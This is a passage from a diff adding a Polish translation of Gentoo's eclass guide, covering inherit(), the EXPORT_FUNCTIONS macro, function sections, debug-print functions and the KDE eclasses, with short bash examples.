+# Distributed under the terms of the GNU General Public License, v2 or later
+# Author Dan Armak &lt;danarmak@gentoo.org&gt;
+# &#36;Header: &#36;
+# Niniejsza eklasa ustawia zmienną ${HOMEPAGE} i ${SRC_URI} na standardowe
+# wartości dla projektów korzystających z sourceforge.net.
+
+HOMEPAGE="http://${PN}.sourceforge.net/"
+SRC_URI="http://download.sourceforge.net/${PN}/${P}.tar.gz"</pre>
+
+<p>
+Pierwsze cztery linijki to nagłówki, identyczne jak w każdym pliku ebuild.
+Kolejne dwie pod ECLASS I INHERITED to krótki opis eklasy. Właściwą pracę --
+ustawianie zmiennych SRC_URI i HOMEPAGE -- wykonują następne linie kodu.
+</p>
+
+<p>
+Większość eklas robi więcej niż tylko ustawianie zmiennych i dostarczanie
+funkcji pomocniczych. Zawierają domyślne implementacje funkcji używanych przez
+ebuildy (src_unpack, src_compile itd). Przed napisaniem domyślnej funkcji w
+eklasie powinniśmy poznać funkcje już zawarte w pliku ebuild.sh. To one są
+wykonywane w naszych plikach ebuild, jeśli nie umieścimy ich tam sami (nawet
+poprzez eklasy). Często wykorzystuje się na przykład domyślną funkcję
+src_unpack(). Powinniśmy przyjrzeć się funkcjom z pliku ebuild.sh, jeśli jeszcze
+tego nie uczyniliśmy.
+</p>
+
+<p>
+To wszystko, co powinniśmy wiedzieć, aby pisać eklasy. Umieśćmy nasz nowy plik
+eclass w katalogu <path>${PORTDIR}/eclass/</path> i dodajmy poniższą linijkę na
+początku naszego pliku ebuild:
+</p>
+
+<pre caption="Dziedziczenie eklas w plikach ebuild">
+inherit sourceforge
+</pre>
+
+<p>
+W tym miejscu pliku ebuild zostanie przeczytana zawartość naszej eklasy.  Należy
+pamiętać, że jakiekolwiek zmienne zdefiniowane w eklasie mogą zostać nadpisane w
+pliku ebuild, gdyż jego kod jest wykonywany po kodzie eklasy.  Dlatego
+powinniśmy umieszczać jak najwięcej domyślnych ustawień i wspólnego kodu właśnie
+w eklasach. Wszystkie niestandartowe ustawienia i modyfikacje możemy zamieszczać
+w pliku ebuild.
+</p>
+
+<p>
+Możemy także dziedziczyć wiele eklas jednocześnie, używając składni:
+</p>
+
+<pre caption="Dziedziczenie wielu eklas">
+inherit eklasa1 eklasa2 [...]
+</pre>
+
+<p>
+...uważajmy jednak na ich kolejność! Musimy pamiętać, że jedne eklasy mogą
+dziedziczyć inne i nadpisywać nawzajem swoje ustawienia. Z tego względu należy
+być ostrożnym przy posługiwaniu się jednocześnie wieloma eklasami, które mogą
+wpływać wzajemnie na siebie.
+</p>
+
+<p>
+Zanim przejdziemy do prawdziwych eklas z Portage, najpierw omówimy wszystkie
+sztuczki przydatne przy ich pisaniu.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Funkcja inherit()</title>
+<body>
+
+<p>
+Funkcja ta jest zdefiniowana w pliku ebuild.sh i obsługuje dziedziczenie
+(odczytywanie) eklas. Wywoływana jest z listą nazw eklas jako parametrami:
+inherit &lt;eklasa1&gt; [eklasa2 eklasa3...].
+</p>
+
+<p>
+Oprócz czytania pliku z eklasami ustawia też zmienne ECLASS i INHERITED, które
+są wykorzystywane przez Portage do buforowania czasów modyfikacji plików eclass.
+Ponadto zmienna INHERITED przydaje się podczas pisania nowych eklas, ponieważ
+zawiera listę wszystkich przeczytanych (odziedziczonych) do tej pory, w
+kolejności ich dziedziczenia. Dzięki temu jedna eklasa może w prosty sposób
+sprawdzić, czy została wywołana z innej eklasy.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Makro EXPORT_FUNCTIONS</title>
+<body>
+
+<p>
+Predefiniowanych funkcji dobrze napisanej eklasy zwykle można używać od razu,
+bez żadnych modyfikacji. Plik ebuild będzie wówczas zawierał bardzo mało kodu,
+co jest pożądane. Czasem jednak funkcje danej eklasy nie będą robiły
+wszystkiego, czego byśmy od nich oczekiwali. Jednym z możliwych wyjść jest
+napisanie samemu nowej funkcji w pliku ebuild, nadpisując funkcję z eklasy. W
+ten sposób jednak rezygnujemy z pożytecznej możliwości ponownego wykorzystania
+już istniejącego kodu. Zamiast tego lepiej jest 'rozszerzyć' funkcjonalność
+funkcji z eklasy.
+</p>
+
+<p>
+Przypuśćmy, że chcemy rozszerzyć funkcję src_compile(). Moglibyśmy napisać
+definicję tej funkcji w naszym pliku ebuild, w której znalazłyby się tylko te
+linie kodu, których nie było w definicji zamieszczonej w eklasie. Następnie z
+wnętrza naszej funkcji wywołalibyśmy funkcję src_compile() z eklasy.
+</p>
+
+<p>
+Jednakże jeśli stworzymy nową funkcję o nazwie src_compile(), bash nie będzie
+już pamiętał o poprzedniej, a więc nie będzie możliwe jej wywołanie! W tej
+sytuacji przydaje się makro EXPORT_FUNCTIONS.
+</p>
+
+<p>
+Przez chwilę przyjrzyjmy się innemu problemowi. Załóżmy, że dwie eklasy,
+coś.eclass i tam.eclass, jednocześnie definiują funkcję src_compile(). Jeśli
+odziedziczymy obie, to dostaniemy inną funkcję src_compile(), w zależności od
+kolejności dziedziczenia tych eklas. W porządku, to jest normalne, ponieważ
+powinniśmy śledzić kolejność dziedziczenia. Jednak czasem możemy chcieć wywołać
+konkretnie jedną z tych funkcji.
+</p>
+
+<p>
+Z tego względu każda eklasa dodaje do definiowanych przez siebie funkcji
+przedrostek. Na przykład eklasa coś.eclass zdefiniuje funkcję coś_src_compile(),
+zaś eklasa tam.eclass zdefiniuje funkcję tam_src_compile(). W ten sposób w pliku
+ebuild zawsze możemy wywołać dowolną z nich.
+</p>
+
+<p>
+Jednak dobrze by było wciąż mieć domyślną funkcję o nazwie src_compile(), w
+przeciwnym wypadku koniecznym stałoby się zdefiniowanie jej w pliku ebuild.
+Makro EXPORT_FUNCTIONS rozwiązuje zarówno ten problem, jak i przedstawiony
+powyżej.
+</p>
+
+<pre caption = "Makro EXPORT_FUNCTIONS() (z pliku ebuild.sh)">
+EXPORT_FUNCTIONS() {
+while [ "$1" ]; do
+eval "$1() { ${ECLASS}_$1 ; }" &gt; /dev/null
+shift
+done
+}</pre>
+
+<p>
+Funkcja inherit() przed odczytaniem każdej eklasy przypisuje zmiennej ${ECLASS}
+nazwę każdej z nich. Na samym końcu eklasy wywoływane jest makro
+EXPORT_FUNCTIONS(), któremu przekazywane są jako parametry domyślne funkcje,
+których dostarcza eklasa. Przykładowo, jeśli wywołamy:
+</p>
+
+<pre caption="Przykład wywołania makra EXPORT_FUNCTIONS">
+EXPORT_FUNCTIONS src_compile src_install</pre>
+
+<p>
+wówczas makro EXPORT_FUNCTIONS wywoła funkcję eval() na poniższych danych:
+</p>
+
+<pre caption="Wynik działania makra EXPORT_FUNCTIONS">
+src_compile() { coś_src_compile() ; }
+src_install() { tam_src_install() ; }</pre>
+
+<p>
+W ten sposób eklasa odziedziczona jako ostatnia zdefiniuje domyślną funkcję
+src_compile(), jednak wciąż w pliku ebuild można w razie potrzeby odwołać się
+bezpośrednio do obu funkcji.
+</p>
+
+<p>
+Możemy także rozszerzyć domyślną funkcję src_compile() poprzez wywołanie funkcji
+eklasy z wnętrza naszej własnej funkcji. Wówczas należy posłużyć się pełną nazwą
+domyślnej funkcji, czyli coś_src_compile. Przykładowo:
+</p>
+
+<pre caption="Rozszerzanie domyślnych funkcji z eklas w naszych plikach ebuild">
+#w pliku cos.eclass:
+cos_src_compile() {
+[domyślny kod funkcji]
+}
+
+EXPORT_FUNCTIONS src_compile
+#tu kończy się kod eklasy
+
+#w pliku ebuild
+inherit cos
+
+src_compile() {
+[nasz kod]
+cos_src_compile
+[więcej naszego kodu]
+}</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Sekcje funkcji</title>
+<body>
+
+<p>
+Czasem rozszerzanie domyślnych funkcji przez wywoływanie własnego kodu przed i
+po ich wywołaniu nie daje nam wystarczającej elastyczności.  Gdy mamy do
+czynienia z długimi, skomplikowanymi funkcjami, czasem chcielibyśmy umieścić
+nasz kod gdzieś w ich środku.
+</p>
+
+<p>
+Potrzebną tu większą elastyczność zapewniają nam sekcje funkcji.  Dzięki nim
+możliwe jest podzielenie funkcji na fragmenty i wykonywanie kodu z dowolnego z
+nich.
+</p>
+
+<p>
+Implementacja jest bardzo prosta. Przyjrzyjmy się funkcji src_compile() z eklasy
+base.eclass. (Uwaga: eklasa ta już nie istnieje, ale wciąż jest dobrym
+przykładem :) Wygląda ona tak:
+</p>
+
+<pre caption = "Przykład z eklasy base.eclass">
+base_src_compile() {
+    econf || die
+    emake || die
+}</pre>
+
+<p>
+Oto ta sama funkcja, lecz podzielona na sekcje:
+</p>
+
+<pre caption = "Ta sama funkcja podzielona na sekcje.">
+base_src_compile() {
+
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                ./configure || die;;
+            make)
+                emake || die;;
+            all)
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+
+}</pre>
+
+<p>
+Kod podzielono na dwie sekcje: <c>configure</c> i <c>make</c>. W naszym prostym
+przykładzie odpowiadają one dwóm komendom z pierwotnej funkcji.
+</p>
+
+<p>
+Sercem nowej funkcji jest blok instrukcji while;case...esac;shift;done.
+Porównuje on parametry przekazane funkcji z nazwami sekcji i wywołuje
+odpowiadające im linie kodu.
+</p>
+
+<p>
+Specjalny parametr <c>all</c> wywołuje rekursywnie tę samą funkcję z wszystkimi
+parametrami po kolei. Autor eklasy odpowiada za poprawność tej listy.
+</p>
+
+<p>
+Linia kodu poprzedzająca powyższy blok instrukcji mówi nam, że wywołanie bez
+parametrów powinno być traktowane tak samo jak wywołanie tylko z parametrem
+<c>all</c>. Nietrudno zauważyć, że funkcja często wywołuje samą siebie. Zwróćmy
+również uwagę, że wywołanie <c>base_src_compile configure all make</c> również
+jest poprawne. Wówczas właściwe wywołanie będzie wyglądało tak:
+<c>base_src_compile configure configure make make</c>.
+</p>
+
+<p>
+W naszym ebuildzie (lub eklasie), które dziedziczą z eklasy base.eclass będziemy
+mogli użyć zalążka funkcji o nazwie src_compile(), który wywołuje funkcję
+base_src_compile bez parametrów. Odpowiada to wywołaniu jej z parametrem
+<e>all</e>, a więc wywołując wszystkie jej sekcje. Możemy używać tej funkcji w
+obecnej postaci lub rozszerzyć ją, definiując nową funkcję src_compile i w niej
+wywoływać pojedyncze sekcje z base_src_compile:
+</p>
+<pre caption = "Używanie sekcji w funkcji src_compile()">
+src_compile() {
+    nasz_kod1
+    base_src_compile configure
+    nasz_kod2
+    base_src_compile make
+    nasz_kod3
+}</pre>
+<p>
+Jak widać, sekcje funkcji dają nam większą elastyczność, gdyż możemy umieszczać
+nasz kod pomiędzy sekcjami, wywoływać sekcje w dowolnej kolejności, a także
+pomijać niektóre z nich. Łatwiej w ten sposób ponownie wykorzystywać kod.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Funkcje debug-print-*</title>
+<body>
+
+<p>
+Są to kolejne funkcje, które dostarcza nam plik ebuild.sh. Umożliwiają one
+eklasom wypisywanie komunikatów diagnostycznych, dzięki którym łatwiej jest
+śledzić ich wykonywanie, bez potrzeby czytania długich wydruków z trybu debug
+powłoki bash. Wszystkie moje eklasy często wykorzystują te funkcje.
+</p>
+
+<p>
+Funkcja debug-print() wypisuje po prostu wszystkie podane jej parametry
+z przedrostkiem 'debug:'. Używa się jej gdy tylko trafi się coś wartego
+umieszczenia w logu diagnostycznym.
+</p>
+
+<p>
+Funkcja debug-print-function() wypisuje komunikat 'debug: entering function $1,
+parameters: $2 [$3 ....]'. Wywołuje się ją na początku funkcji.
+</p>
+
+<p>
+Funkcja debug-print-section() wypisuje 'debug: now in section $1'. Wywołuje się
+ją na początku sekcji funkcji.
+</p>
+
+<p>
+Zwykle komunikaty diagnostyczne zapisywane są do pliku ${T}/eclass-debug.log.
+Możemy podać alternatywny plik za pomocą zmiennej środowiskowej
+ECLASS_DEBUG_OUTPUT (w pliku make.globals/conf lub bezpośrednio w środowisku),
+dzięki czemu komunikaty trafią również tam. Ewentualnie możemy przypisać tej
+zmiennej specjalną wartość 'on', co spowoduje wypisywanie komunikatów
+diagnostycznych na standardowe wyjście, razem z pozostałymi komunikatami emerge.
+</p>
+
+<p>
+Dodajmy do naszej przykładowej funkcji możliwość wypisywania komunikatów
+diagnostycznych:
+</p>
+<pre caption = "Dodawanie komunikatów diagnostycznych">
+base_src_compile() {
+
+    debug-print-function
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                debug-print-section configure
+                ./configure || die;;
+            make)
+                debug-print-section make
+                make || die;;
+            all)
+                debug-print-section all
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+
+    debug-print "${FUNCNAME}: result is ${RESULT}"
+}</pre>
+<p>
+Zmienna ${FUNCNAME} to zmienna wbudowana w powłokę bash, w której znajduje się
+nazwa aktualnie uruchomionej funkcji.
+</p>
+
+</body>
+</subsection>
+<!--
+<subsection>
+<title>newdepend()</title>
+<body>
+
+<p>This ebuild.sh function simply adds all its parameters to both DEPEND and
+RDEPEND, saving you the trouble of writing and maintaining two lists of
+dependencies.</p>
+
+<p>If called with a special parameter, it adds predefined dependencies. I don't
+think this is very elegant (anymore), I rather prefer explicit dependancies now;
+so you can consider this slightly deprecated ;-)</p>
+<p>These special parameters exist as of now:</p>
+<p>newdepend /autotools: add sys-devel/autoconf sys-devel/automake
+sys-devel/make to DEPEND (but not RDEPEND).</p>
+<p>newdepend /c: add virtual/glibc sys-devel/ld.so to both DEPEND and RDEPEND.
+Also, add sys-devel/gcc to DEPEND.</p>
+
+</body>
+</subsection>
+-->
+</section>
+
+<section>
+<title>Istniejące eklasy</title>
+
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Większość eklas jest raczej nieskomplikowana i wystarczy je przeczytać i
+ewentualnie przejrzeć kilka ebuildów, które z nich korzystają, aby zapoznać się
+z ich działaniem. W prawie wszystkich znajdziemy również bogate komentarze.
+</p>
+
+<p>
+Zadaniem niniejszego rozdziału jest przedstawić ogólne powiązania pomiędzy
+eklasami z grupy kde*.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>base.eclass</title>
+<body>
+
+<p>
+W tej klasie zdefiniowane są zmienne i funkcje podobne do zawartych domyślnie w
+tych ebuildach, które nie dziedziczą żadnych klas (są one zdefiniowane w pliku
+ebuild.sh). Najprawdopodobniej nie będziemy zainteresowani korzystaniem z nich
+bezpośrednio, lecz poprzez jedną z eklas kde, które je dziedziczą.
+</p>
+
+<p>
+Jedną z interesujących funkcjonalności, które dostarcza ta eklasa jest
+możliwość automatycznego nakładania łatek. Jeśli w zmiennej PATCHES umieścimy
+listę plików z ebuilda, do których rozpakowania nada się funkcja
+base_src_unpack() (lub kde_src_unpack()), to na źródła zostaną nałożone łatki
+z tych plików. Musimy zadbać, aby polecenie patch zadziałało z parametrem -p0
+z katalogu ${S}.
+</p>
+
+<p>
+Zwróćmy uwagę, że możemy ustawić zmienną PATCHES bez definiowania własnej
+funkcji src_unpack() w naszym ebuildzie. Właśnie po to ona jest.
+</p>
+
+<p>
+Nowsza funkcja epatch() z eklasy eutils.eclass jest znacznie bardziej
+rozbudowana -- obsługuje skompresowane pliki łatek, katalogi, serie łatek i
+automatyczne wykrywanie poziomu łatki -- dlatego któregoś dnia planujemy tak
+zmodyfikować powyższy mechanizm automatycznego nakładania poprawek, aby z niej
+korzystał.
+</p>
+
+<p>
+Należy zwrócić uwagę, że używanie sekcji <c>patch</c> funkcji base_src_unpack()
+jest niezalecane, gdyż zostanie wkrótce usunięta. Jeśli jakiś ebuild wciąż jej
+używa, powinien zostać zmodyfikowany tak, aby korzystał ze stylu
+<c>autopatch</c>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>cvs.eclass</title>
+<body>
+
+<p>
+Ta eklasa dostarcza nam funkcjonalności potrzebnej do tworzenia 'żywych'
+ebuildów cvs. Takie ebuildy pobierają źródła z określonego serwera cvs w czasie
+rozpakowywania, dzięki czemu dysponujemy zawsze najnowszymi poprawkami, ale i
+błędami, prosto od twórców oprogramowania.
+</p>
+
+<p>
+Jednakże nie wszystkie potrzebne dla takich ebuildów funkcje (na przykład
+wersjonowanie) zostały dodane do Portage. Ebuildy te będą działać dzięki tej
+eklasie, lecz pod wieloma względami nie są one eleganckie. Należy dwa razy
+zastanowić się przed stworzeniem ebuilda tego typu. Być może lepszy byłby taki,
+który korzysta z migawek cvs. Gdybyśmy jednak chcieli dodać taki ebuild do
+Portage, powinniśmy zapoznać się z wytycznymi dotyczącymi ebuildów cvs z
+przewodnika dla deweloperów.
+</p>
+
+<p>
+Przed odziedziczeniem eklasy cvs.eclass powinniśmy ustawić wszystkie pożądane
+opcje (przynajmniej adres serwera i nazwę modułu). Lista możliwych do ustawienia
+opcji wraz z wartościami domyślnymi znajduje się na początku pliku cvs.eclass,
+opisana jako 'ebuild-configurable settings'.
+</p>
+
+<p>
+Pozostałe rzeczy robi się już raczej automatycznie. Dostępna jest funkcja
+cvs_src_unpack() (nie posiada sekcji). Więcej informacji możemy uzyskać czytając
+samą eklasę.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde-functions.eclass</title>
+<body>
+
+<p>
+Eklasa ta zawiera wszystkie funkcje pomocnicze powiązane z KDE. Niektórych z
+nich nigdy nie powinniśmy wykorzystywać bezpośrednio w pliku ebuild. Nie są one
+opisane w niniejszym dokumencie, za to dokładny opis znajdziemy w komentarzach
+do ich kodu źródłowego.
+</p>
+
+<p>
+Należy zwrócić uwagę, że pisząc 'funkcje pomocnicze', mam na myśli te, które nie
+są specjalnymi funkcjami ebuildów (src_unpack(), itd). Wszystkie eklasy kde,
+zawierające takie 'specjalne' funkcje dziedziczą eklasę kde-functions.
+</p>
+
+<p>
+Jedyny kod, który jest poza funkcjami w eklasie kde-functions.eclass (a więc
+jest wykonywany w trakcie dziedziczenia) to blok, który określa, czy aktualny
+ebuild pochodzi z kategorii kde-base. Jeśli tak jest, ustawiana jest zmienna
+KDEBASE=true. Zmiennej tej używa się w wielu logicznych porównaniach w innych
+miejscach kodu, dobrze jest więc posiadać jedno centralne miejsce, gdzie byłaby
+ona sprawdzana.
+</p>
+
+<p>
+<b>Aktualny sposób rozmieszczania wielu wersji KDE</b>
+</p>
+
+<p>
+Warto w skrócie wyjaśnić jak Gentoo zarządza wieloma wersjami KDE:
+</p>
+
+<p>
+KDE (czyli pakiety z kategorii kde-base) instaluje się w ścieżce
+/usr/kde/${główna-wersja}.${mniejsza-wersja}. Przykładowo, KDE 3.1.x znajdzie
+się w katalogu /usr/kde/3.1. Jednakże ten sposób rozmieszczania został
+wprowadzony dopiero po ukazaniu się KDE 3.0, dlatego poprzednie wersje są
+instalowane w niestandardowych położeniach: KDE 3.0.x w katalogu /usr/kde/3
+(zamiast /usr/kde/3.0), a KDE 2.2.2 (jedyna wersja z gałęzi 2.x, która jest w
+Portage) instalowana jest w katalogu /usr/kde/2. Ebuildy cvs, którymi się
+opiekuję, są instalowane w ścieżce /usr/kde/cvs.
+</p>
+
+<p>
+Z tego względu możliwe jest współistnienie dowolnej ilości posiadających ten sam
+mniejszy numer wersji instalacji KDE. Pakiety z kategorii kde-base posiadają
+numery SLOT wg schematu numerów wersji "główny.mniejszy" (na przykład 3.0, 3.1).
+</p>
+
+<p>
+Poszczególne mniejsze wersje biblioteki QT powinny być kompatybilne między sobą,
+dlatego instalujemy tylko po jednej spośród głównych wersji, każdą z innym
+numerem SLOT. Instalowane są w ścieżce /usr/qt/$większy.
+</p>
+
+<p>
+Ebuildy spoza kategorii kde-base zawsze są instalowane w katalogu /usr. Pakiet
+kde-env ustawia w env.d zmienną KDEDIRS=/usr, dzięki czemu aplikacje te mogą się
+prawidłowo uruchamiać. Programy kompilują i linkują się z najnowszymi
+znalezionymi w systemie bibliotekami KDE. Eklasa sprawdza standardowe położenia
+w kolejności opadającej -- /usr/kde/cvs, następnie /usr/kde/3.1, a potem
+/usr/kde/3. Ebuildy z kategorii kde-base zawsze będą linkowane z bibliotekami
+kdelibs z tym samym numerem wersji. Jest to oczywiście zależne również od
+parametru przekazanego funkcji need-kde() (szczegóły poniżej).
+</p>
+
+<p>
+Istnieje kilka specjalnych zmiennych, które możemy ustawić w celu zmiany
+domyślnych zachowań wyżej opisanego systemu. Najczęściej używa się ich, aby w
+czasie kompilacji danego ebuilda zlinkować go z konkretną, zainstalowaną do
+testów wersją KDE, można jednak również wykorzystać je w celu zainstalowania KDE
+w niestandardowym miejscu. Możemy więc na przykład posiadać zainstalowane obok
+siebie wersje 3.0.1 i 3.0.2. Jak już wspomnieliśmy, najbardziej przydaje się to
+do testów i prac deweloperskich.
+</p>
+
+<p>
+Wszystkie aplikacje KDE (nie tylko z kategorii "base") zostaną zainstalowane do
+lokacji określonej przez zmienną ${KDEPREFIX}, jeśli będzie ona ustawiona.
+Nadpisuje ona wszystkie inne ustawienia w eklasach.
+</p>
+
+<p>
+Aplikacje KDE (nawet gdy chodzi o programy z kategorii kde-base) będą przede
+wszystkim próbowały linkować się z bibliotekami kdelibs z katalogu określonego
+przez zmienną ${KDELIBSDIR}, o ile będzie ona ustawiona. Jeśli nie, wykorzystane
+będą wyżej opisane zasady sprawdzania położenia najnowszych wersji kdelibs (lub
+wersji właściwej dla danej wersji kde-base).
+</p>
+
+<p>
+<b>need-kde(), need-qt(), set-kdedir(), set-qtdir()</b>
+</p>
+
+<p>
+Eklasa kde-functions.eclass dostarcza nam dwóch par funkcji: need-kde(),
+need-qt() i set-kdedir(), set-qtdir(). Zajmują się one obsługą szczegółów
+implementacji jednoczesnej instalacji wielu wersji KDE i QT.
+</p>
+
+<p>
+Funkcję need-kde() wywołuje się z parametrem, którym jest najniższa wymagana
+wersja bibliotek kdelibs. Dodaje ona właściwe zależności do zmiennych DEPEND i
+RPDEPEND i wywołuje funkcję set-kdedir(). Jeśli nie przekażemy jej parametru,
+użyty zostanie zerowy numer wersji, co będzie oznaczało, że jakakolwiek wersja
+spełni zależności. Funkcja need-kde() wywołuje także funkcje need-autoconf() i
+need-automake() z odpowiednimi dla danej wersji KDE parametrami.
+</p>
+
+<p>
+Wówczas funkcja set-kdedir() określa prefiks instalacji i położenie
+kdelibsdir, jakich powinien użyć nasz ebuild. Są one przekazywane nam
+odpowiednio w zmiennych ${PREFIX} i ${KDEDIR} (i obsługiwane automatycznie przez
+eklasę kde.eclass). Zwróćmy uwagę na to, że żaden ebuild nie powinien
+bezpośrednio odwoływać się do zmiennych ${KDEPREFIX} lub ${KDELIBSDIR}!
+</p>
+
+<p>
+Funkcja need-kde() sprawdza w tabeli minimalną wymaganą dla danej wersji kdelibs
+wersję QT. Następnie wywołuje funkcję need-qt(), przekazując jej te dane. Ebuild
+aplikacji, która nie wymaga KDE (działa tylko w oparciu o QT) zwykle
+bezpośrednio wywoła funkcję need-qt, pomijając need-kde.
+</p>
+
+<p>
+Funkcja need-qt() dodaje do zmiennych DEPEND i RDEPEND numer wymaganej wersji QT
+i wywołuje funkcję set-qtdir(), podając jej te dane. Funkcja set-qtdir()
+przechowuje domyślne położenie tej wersji QT w zmiennej QTDIR. W przeciwieństwie
+do set-kdedir(), funkcja set-qtdir() nie sprawdza, czy QT rzeczywiście jest tam
+zainstalowane.
+</p>
+
+<p>
+Funcja need-kde() (lub need-qt()) musi być wywoływana z głównej części ebuilda
+(czyli nie z wewnątrz funkcji), aby zmiany w zmiennych DEPEND i RDEPEND miały
+wpływ na emerge.
+</p>
+
+<p>
+<b>need-autoconf(), need-automake()</b>
+</p>
+
+<p>
+Funkcje te ustawiają niezbędne zmienne środowiskowe, aby pożądane wersje
+skryptów autoconf i automake mogły się uruchomić. Zerują również wszystkie
+poprzednio ustawione zmienne tego rodzaju. Na przykład, wywołanie 'need-automake
+1.4' ustawi zmienną NEED_AUTOMAKE_1_4=1 i usunie wszystkie inne zmienne
+WANT_AUTOMAKE*. Więcej informacji znajdziemy w kodzie funkcji i w komentarzach
+na początku plików /usr/bin/auto{conf,make} (znajdziemy je w każdym systemie
+Gentoo).
+</p>
+
+<p>
+<b>kde_sandbox_patch()</b>
+</p>
+
+<p>
+Niektóre pliki makefile z KDE nie działają prawidłowo. Próbują uruchomić w
+czasie instalacji polecenia chmod lub chown na plikach w katalogu określonym
+przez zmienną PREFIX, lecz nie uznają zmiennej DESTDIR (${D}). Tak więc
+prawidłowo kopiują plik do katalogu ${DESTDIR}/${PREFIX}/katalog/plik, lecz
+później próbują wykonać polecenie chmod +x na być może nie istniejącym pliku
+${PREFIX}/katalog/plik, znajdującym się w prawdziwym systemie plików. Nawet
+jeśli plik ten istnieje, to sandbox uniemożliwi wykonanie tej operacji.
+</p>
+
+<p>
+Funkcja ta uruchamia standardowy program sed na plikach makefile, przez co
+usuwa problem wszędzie tam, gdzie występuje. Jej argumenty wywołania to
+katalogi, w których ma zostać wykonana operacja, a polega ona na przetworzeniu
+plików Makefile, Makefile.in i Makefile.am w tych katalogach. Na przykład:
+</p>
+
+<pre caption = "Przetwarzanie">
+src_unpack() {
+    base_src_unpack
+    kde_sandbox_patch ${S}/dir1 ${S}/dir2/dir3
+}</pre>
+
+<p>
+<b>kde_remove_flag()</b>
+</p>
+
+<p>
+Tej funkcji używamy w celu odsiania tych flag kompilatora, które powodują
+problemy przy kompilacji. Wywołuje się ją po rozpakowaniu, przekazując jej jako
+pierwszy parametr jej podkatalog roboczy, ${S}, oraz jako drugi parametr nazwę
+flagi, którą ma usunąć. Należy zauważyć, że funkcja nie jest rekursywna.
+Przykładowe wywołanie: "kde_remove_flag foodir/barfoo -fomit-frame-pointer".
+</p>
+
+<p>
+<b>kde_remove_dir() and ${KDE_REMOVE_DIR}</b>
+</p>
+
+<p>
+Zadaniem tej funkcji jest wyłączenie danego podkatalogu z procesu kompilacji.
+Zostaje on skasowany i usunięte zostają wszelkie wzmianki o nim z plików
+subdirs, configure i plików makefile. Należy zauważyć, że funkcja działa na
+razie tylko na podkatalogach katalogu ${S}, a nie na podkatalogach drugiego
+poziomu. Możemy ją wywołać z listą katalogów do usunięcia, funkcja zadziała
+wówczas kolejno na każdym z parametrów.
+</p>
+
+<p>
+Możemy wywołać tę funkcję bezpośrednio, lecz aby uniknąć konieczności
+definiowania własnej wersji funkcji src_unpack() tylko do tego celu, lepiej
+będzie ustawić zmienną KDE_REMOVE_DIR i w niej umieścić listę katalogów do
+usunięcia. Funkcja kde_src_unpack() wówczas wywoła 'kde_remove_dir
+${KDE_REMOVE_DIR}' po rozpakowaniu. Jak widać, staram się unikać definiowania
+następnych funkcji w pliku ebuild, ponieważ dzięki temu ebuildy są bardziej
+przejrzyste.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde.eclass</title>
+<body>
+
+<p>
+To jest główna, centralna eklasa KDE i zawiera większość kodu potrzebnego przy
+kompilacji KDE. Wszyskie ebuildy KDE odziedziczą tę eklasę, w ten czy inny
+sposób. Ona natomiast dziedziczy z eklas base i kde-functions.
+</p>
+
+<p>
+Tak jak w przypadku pozostałych eklas, najlepiej jest przeczytać ją, aby
+zrozumieć jak działa. Większość kodu powinna być oczywista. Oto krótkie
+podsumowanie:
+</p>
+
+<p>
+Globalna sekcja eklasy (czyli ta, która zostanie uruchomiona, gdy odziedziczymy
+eklasę) dodaje właściwe zależności od kde-env, automake, autoconf, make i perl
+(ten ostatni jest wykorzystywany przez standardowe skrypty configure do
+szybkiego generowania plików makefile). Ustawia także domyślne ustawienie
+SLOT="0".
+</p>
+
+<p>
+Funkcja kde_src_unpack() wywołuje tylko funkcję base_src_unpack(), przekazując
+jej wszelkie swoje parametry (czyli sekcje, które mają zostać wykonane).
+Następnie dodaje części charakterystyczne dla KDE. Używa polecenia touch na
+wszystkich plikach .ui w rozpakowanych źródłach, aby odtworzyć nieaktualne pliki
+.cpp i .h. Wywołuje także funkcję kde_remove_dir() z parametrem
+${KDE_REMOVE_DIR}, jeśli zmienna ta jest ustawiona (więcej informacji w
+powyższym rozdziale o funkcjach kde).
+</p>
+
+<p>
+W funkcji kde_src_compile() poprawiono także kilka błędów zawartych w źródłach.
+Na przykład eksportuje ona zmienną
+kde_widgetdir=${KDEDIR}/lib/kde3/plugins/designer", aby uniknąć błędu w
+starszych wersjach plików acinclude.m4.in w KDE. Inny problem omija przez
+ustawienie zmiennej HOME="${T}/tymczasowy_katalog_domowy", dzięki czemu próby
+odwołania się do plików ${HOME}/.kde and ${HOME}/.qt nie zostaną powstrzymane
+przez sandbox, ani też nie dotkną prawdziwego katalogu domowego użytkownika.
+Błąd ten występuje w narzędziu uic, które próbuje uzyskać dostęp do plików
+konfiguracyjnych w tych katalogach.
+</p>
+
+<p>
+Funkcja kde_src_compile() posiada wiele sekcji. <c>myconf</c> dodaje domyślne
+parametry skryptu configure z KDE do zmiennej ${myconf}, na przykład
+--prefix=${PREFIX} (pamiętajmy, zmienna ${PREFIX} jest ustawiana przez funkcję
+set-kdedir()). Możemy dodawać własne wartości do zmiennej ${myconf} albo przed,
+albo po tej sekcji. Musimy tylko pamiętać, aby nie nadpisywać starych wartości,
+ponieważ użytkownicy mogą chcieć ustawić tę zmienną z poziomu powłoki systemu, w
+ten sposób dodając kolejny parametr do uruchamianego przez ebuild skryptu
+configure.
+</p>
+
+<p>
+Sekcja <c>configure</c> uruchamia skrypt configure w katalogu określonym zmienną
+${S}, przekazując mu parametry ze zmiennej ${myconf}. Jeśli skrypt configure nie
+istnieje, próbuje go wygenerować, uruchamiając polecenie make -f Makefile.cvs
+lub make -f admin/Makefile.common. W ten sposób ten etap kompilacji (potrzebny
+przy migawkach cvs lub ebuildach, które poprawiają pliki takie jak configure.in)
+również odbywa się automatycznie.
+</p>
+
+<p>
+Sekcja <c>make</c> uruchamia jedynie polecenie emake || die. Ostatnią sekcją
